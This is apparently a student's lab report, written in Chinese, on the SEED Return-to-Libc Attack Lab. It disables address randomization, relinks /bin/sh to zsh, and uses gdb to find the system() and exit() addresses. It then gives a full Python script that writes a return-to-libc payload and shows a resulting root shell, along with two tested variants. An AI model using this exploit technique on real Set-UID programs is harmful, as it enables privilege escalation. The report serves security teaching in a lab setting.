Lab3

Author：吴桐

Data：2021.7.21

实验环境配置

首先我们需要关闭地址随机化：

```
[07/13/21]seed@VM:~$ cd '/home/seed/Desktop/Labs_20.04/Software Security/Return-to-Libc Attack Lab
 (32-bit)/Labsetup'
[07/13/21]seed@VM:~/.../Labsetup$ sudo sysctl -w kernel.randomize_va_space=0
kernel.randomize_va_space = 0
```

图 1

32 位可执行程序的编译命令：

$ gcc -m32 -fno-stack-protector example.c

可执行/不可执行堆栈的编译命令：

for executable stack:

$ gcc -m32 -z execstack -o test test.c

for non-executable stack:

$ gcc -m32 -z noexecstack -o test test.c

在 ubuntu20.04 中，/bin/sh 符号链接指向/bin/dash shell。如果在 Set UID 进程中执行 dash，它会立即将有效用户 ID 更改为进程的真实用户 ID，本质上是放弃其特权。由于我们的目标程序是一个 Set-UID 程序，我们的攻击使用 system()函数实现，这个函数调用/bin/sh 执行命令。/bin/dash 会立即撤回特权，使我们的攻击更加困难。要禁用此保护，我们需要将/bin/sh 链接到另一个没有此类对策的 shell 上。

```
[07/13/21]seed@VM:~/.../Labsetup$ sudo ln -sf /bin/zsh /bin/sh
```

图 2

输入 make 指令完成本实验的环境配置：

```
[07/13/21]seed@VM:~/.../Labsetup$ make
gcc -m32 -DBUF_SIZE=12 -fno-stack-protector -z noexecstack -o retlib retlib.c
sudo chown root retlib && sudo chmod 4755 retlib
```

图 3

Task 1: Finding out the Addresses of libc Functions

在 Linux 中，当程序运行时，libc 库将被加载到内存中。当内存地址随机化处于关闭状态时，对于同一个程序，库总是加载在同一个内存地址中（对于不同的程序，libc 库的内存地址可能不同）。因此，我们可以使用调试工具（如 gdb）轻松找到 system（）的地址。

我们可以调试目标程序 retlib。在 gdb 中，我们需要键入 run 命令来执行目标程序，否则，库将被删除且不会加载代码。我们使用 p 命令打印出 system()函数和 exit()函数的地址。（图 4-5）。

```
[07/13/21]seed@VM:~/.../Labsetup$ gdb retlib
```

图 4

```
gdb-peda$ run
Starting program: /home/seed/Desktop/Labs_20.04/Software Security/Return-to-Libc
 Attack Lab (32-bit)/Labsetup/retlib

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x3e8
EBX: 0x56558fc8 --> 0x3ed0
ECX: 0x5655a010 --> 0x0
EDX: 0x0
ESI: 0x0
EDI: 0xf7fb4000 --> 0x1e6d6c
EBP: 0xffffcce8 --> 0xffffd0f8 --> 0x0
ESP: 0xffffccc0 --> 0x56558fc8 --> 0x3ed0
EIP: 0xf7e3cbcd (<fread+45>:    mov    eax,DWORD PTR [esi])
EFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow
)
[-------------------------------------code-------------------------------------]
   0xf7e3cbc2 <fread+34>:       mov    DWORD PTR [ebp-0x1c],eax
   0xf7e3cbc5 <fread+37>:       test   eax,eax
   0xf7e3cbc7 <fread+39>:       je     0xf7e3cc57 <fread+183>
=> 0xf7e3cbcd <fread+45>:       mov    eax,DWORD PTR [esi]
   0xf7e3cbcf <fread+47>:       and    eax,0x8000
   0xf7e3cbd4 <fread+52>:       jne    0xf7e3cc08 <fread+104>
   0xf7e3cbd6 <fread+54>:       mov    edx,DWORD PTR [esi+0x48]
   0xf7e3cbd9 <fread+57>:       mov    ebx,DWORD PTR gs:0x8
[-------------------------------------stack-------------------------------------]
0000| 0xffffccc0 --> 0x56558fc8 --> 0x3ed0
0004| 0xffffccc4 --> 0xf7fb4000 --> 0x1e6d6c
0008| 0xffffccc8 --> 0xf7fb4000 --> 0x1e6d6c
0012| 0xffffcccc --> 0x3e8
0016| 0xffffccd0 --> 0x56557086 ("badfile")
0020| 0xffffccd4 --> 0x56557084 --> 0x61620072 ('r')
0024| 0xffffccd8 --> 0x1
0028| 0xffffccdc --> 0x56558fc8 --> 0x3ed0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0xf7e3cbcd in fread () from /lib32/libc.so.6
gdb-peda$ p system
$1 = {<text variable, no debug info>} 0xf7e12420 <system>
gdb-peda$ p exit
$2 = {<text variable, no debug info>} 0xf7e04f80 <exit>
gdb-peda$ quit
```

图 5

Task 2: Putting the shell string in the memory

我们的攻击策略是跳转到 system()函数并让它执行任意命令。因为我们想得到一个 shell，所以我们希望 system()函数执行“/bin/sh”程序。因此，命令字符串“/bin/sh”必须首先放在内存中，我们必须知道它的地址（这个地址需要传递给 system()函数）。

有很多方法可以实现这个目标，我们选择一个使用环境变量的方法。

当我们通过 shell 执行一个程序时，shell 实际上会产生一个子进程来执行，所有导出的 shell 变量都成为子进程的环境变量。这为我们在子进程的内存中放入任意字符串提供了一个简单的思路。

我们定义一个新的 shell 变量 MYSHELL，并让它包含字符串“/bin/sh”。之后运行图 6 所示程序，将 MYSHELL 的地址打印到屏幕上（图 7）。

```c
#include <stdio.h>
#include <stdlib.h>

void main()
{
    char* shell = getenv("MYSHELL");
    if (shell)
        printf("%x\n", (unsigned int)shell);
}
```

图 6

```
[07/13/21]seed@VM:~/.../Labsetup$ gcc -m32 prtenv.c -o prtenv
[07/13/21]seed@VM:~/.../Labsetup$ export MYSHELL="/bin/sh"
[07/13/21]seed@VM:~/.../Labsetup$ ./prtenv
ffffd425
```

图 7

Task 3: Launching the Attack

首先我们可以执行一下目标程序，在屏幕上打印出 buffer 的起始地址以及 ebp 的值（图 8）。设 address1=0xffffcd90，address2=0xffffcda8。

```
[07/13/21]seed@VM:~/.../Labsetup$ ./exploit.py
[07/13/21]seed@VM:~/.../Labsetup$ retlib
Address of input[] inside main():  0xffffcdc0
Input size: 300
Address of buffer[] inside bof():  0xffffcd90
Frame Pointer value inside bof():  0xffffcda8
(^_^)(^_^) Returned Properly (^_^)(^_^)
```

图 8

攻击程序如图 9 所示。其中，Y=address2-address1+4（return address 的偏移量），Z=Y+4（放置 exit()地址的偏移量），X=Z+4（放置 system()参数的地址的偏移量）。

```python
#!/usr/bin/env python3
import sys

# Fill content with non-zero values
content = bytearray(0xaa for i in range(300))

X = 36
sh_addr = 0xffffd425       # The address of "/bin/sh"
content[X:X+4] = (sh_addr).to_bytes(4,byteorder='little')

Y = 28
system_addr = 0xf7e12420   # The address of system()
content[Y:Y+4] = (system_addr).to_bytes(4,byteorder='little')

Z = 32
exit_addr = 0xf7e04f80     # The address of exit()
content[Z:Z+4] = (exit_addr).to_bytes(4,byteorder='little')

# Save content to a file
with open("badfile", "wb") as f:
  f.write(content)
```

图 9

攻击效果如图 10 所示。

```
[07/13/21]seed@VM:~/.../Labsetup$ ./exploit_1.py
[07/13/21]seed@VM:~/.../Labsetup$ retlib
Address of input[] inside main():  0xffffcdc0
Input size: 300
Address of buffer[] inside bof():  0xffffcd90
Frame Pointer value inside bof():  0xffffcda8
# id
uid=1000(seed) gid=1000(seed) euid=0(root) groups=1000(seed),4(adm),24(cdrom),27(sudo),
30(dip),46(plugdev),120(lpadmin),131(lxd),132(sambashare),136(docker)
# exit
```

图 10

攻击变体 1：exit 函数的必要性研究。尝试在攻击代码中不包含此函数的地址。再次发起攻击结果如图 11 所示。

可以看到，攻击仍能成功，退出时会有 Segmentation fault 提示。在执行过程中，return address 会直接指向 system 函数，函数的参数读取不会受 exit 函数地址的影响，因此攻击能够成功。

```
[07/13/21]seed@VM:~/.../Labsetup$ ./exploit_1.py
[07/13/21]seed@VM:~/.../Labsetup$ retlib
Address of input[] inside main():  0xffffcdc0
Input size: 300
Address of buffer[] inside bof():  0xffffcd90
Frame Pointer value inside bof():  0xffffcda8
# id
uid=1000(seed) gid=1000(seed) euid=0(root) groups=1000(seed),4(adm),24(cdrom),27(sudo),
30(dip),46(plugdev),120(lpadmin),131(lxd),132(sambashare),136(docker)
# exit
Segmentation fault
```

图 11

攻击变体 2：攻击成功后，将 retlib 的文件名改为其他名称，确保新文件名的长度不同。重复攻击（不更改 badfile 的内容），可以发现攻击失败（图 12）。

因为环境变量 MYSHELL 的地址与可执行程序的文件名长度密切相关。我们使用 prtenv 程序得到了 MYSHELL 的地址，当可执行程序的文件名（retlib）长度与 prtenv 一样时，MYSHELL 的地址保持不变。如果可执行程序的文件名（newretlib）长度与 prtenv 不一致时，在执行 newretlib 时，环境变量中 MYSHELL 的地址就会变化，导致攻击失败。

```
[07/13/21]seed@VM:~/.../Labsetup$ cp ./retlib ./newretlib
[07/13/21]seed@VM:~/.../Labsetup$ ./exploit.py
[07/13/21]seed@VM:~/.../Labsetup$ newretlib
Address of input[] inside main():  0xffffcdb0
Input size: 300
Address of buffer[] inside bof():  0xffffcd80
Frame Pointer value inside bof():  0xffffcd98
zsh:1: command not found: h
Segmentation fault
```

图 12

Summary

本次实验具有一定的难度。在老师和同学的帮助下，我较为顺利地完成了 Task1-3。实验手册的 Task4 中，我们需要尝试使用 execve 函数实现攻击，execve 函数需要两个参数且参数内容中含有 NULL。我经过了反复实验，始终没有成功安置两个参数的地址，无法复刻 execve 攻击。这算是本次实验的一个遗憾吧。